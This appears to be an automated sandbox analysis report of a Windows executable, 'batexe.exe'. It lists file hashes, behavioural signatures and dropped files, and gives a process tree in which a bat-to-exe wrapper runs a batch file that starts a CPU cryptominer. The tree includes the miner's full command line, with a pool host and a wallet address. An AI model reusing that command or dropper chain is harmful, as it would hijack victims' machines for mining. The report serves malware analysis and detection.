73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22-02-2024 03:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3140	b2e.exe
4964	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4964	cpuminer-sse2.exe
4964	cpuminer-sse2.exe
4964	cpuminer-sse2.exe
4964	cpuminer-sse2.exe
4964	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3060-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 3140	3060	batexe.exe	74
PID 3060 wrote to memory of 3140	3060	batexe.exe	74
PID 3060 wrote to memory of 3140	3060	batexe.exe	74
PID 3140 wrote to memory of 4856	3140	b2e.exe	75
PID 3140 wrote to memory of 4856	3140	b2e.exe	75
PID 3140 wrote to memory of 4856	3140	b2e.exe	75
PID 4856 wrote to memory of 4964	4856	cmd.exe	78
PID 4856 wrote to memory of 4964	4856	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Users\Admin\AppData\Local\Temp\72CE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\72CE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\72CE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\74C2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\72CE.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\72CE.tmp\b2e.exe

Filesize
17.6MB

MD5
a6c28e7487be1124ca575661dc12f57d

SHA1
1a1e9e0f7b4465feef08e48743b14c9f315f8ee8

SHA256
4715e795eb4a6f8dcbfe9ec1d4abc5afef4b251a83510b8ce6b31e83cb5aa3b7

SHA512
ae870060eaaef39dbacbfd750e56b2b78bc3066f01fb3b0740236f7a742eed1c21dc59324a2832273205581826315be1446dcd1b3325f543e153706fbcca0c76

Download Submit
C:\Users\Admin\AppData\Local\Temp\74C2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.5MB

MD5
5341589607a959177e68ef6366ddea5f

SHA1
5d5f2b032ff8c561e2bfc5ea1941a51b81ce6439

SHA256
060c76c9269bf60cc6ff8ad2a9eee1ee9346f89f169adac42ff1fe8c84225c69

SHA512
c579ca67758bc4427717eff3176e0498d6fad9a2d5197eb8669adb636ba55adfbc5d242ceaa8a80599c58dc1213ab86b2757cada258a7a645c9676232f5ccde8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.4MB

MD5
f6e8d3e1f0ecb4549dbae8341f1cfc21

SHA1
205ee591e795a6208ff1c3f074493d75acc37ecb

SHA256
be9c39cf076b2b94b0b533559a2b204ba422b76e1a6e1d7f9546726ddbd2a973

SHA512
6f7e6f492cdf519d257decb2e3c9e90c0a0016e496079f231ec0f89f07179aaf8adeab7ca56a65e476e2ff0b88d868d3f73bd2b2fc5514774c5eebea5732ffea

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.5MB

MD5
b0a1f60e9d659502538f1ebc062ccf08

SHA1
cf6bea504a6c9d77810f78c64a5e81956932203b

SHA256
d89d34e427be749501f9980a29252c683015851763a1b0e09d6d1650285edf5f

SHA512
27699676eaadff2e868adfd82e7951d437c827c70cd59b5470f310fb08c3552d8c9b0fc323ef3e305222381ac2854ceede97b2c59af80698b80205b066e87446

Download Submit
memory/3060-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3140-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3140-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4964-43-0x0000000062330000-0x00000000623C8000-memory.dmp

Filesize
608KB

Download
memory/4964-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4964-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-44-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/4964-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4964-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4964-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download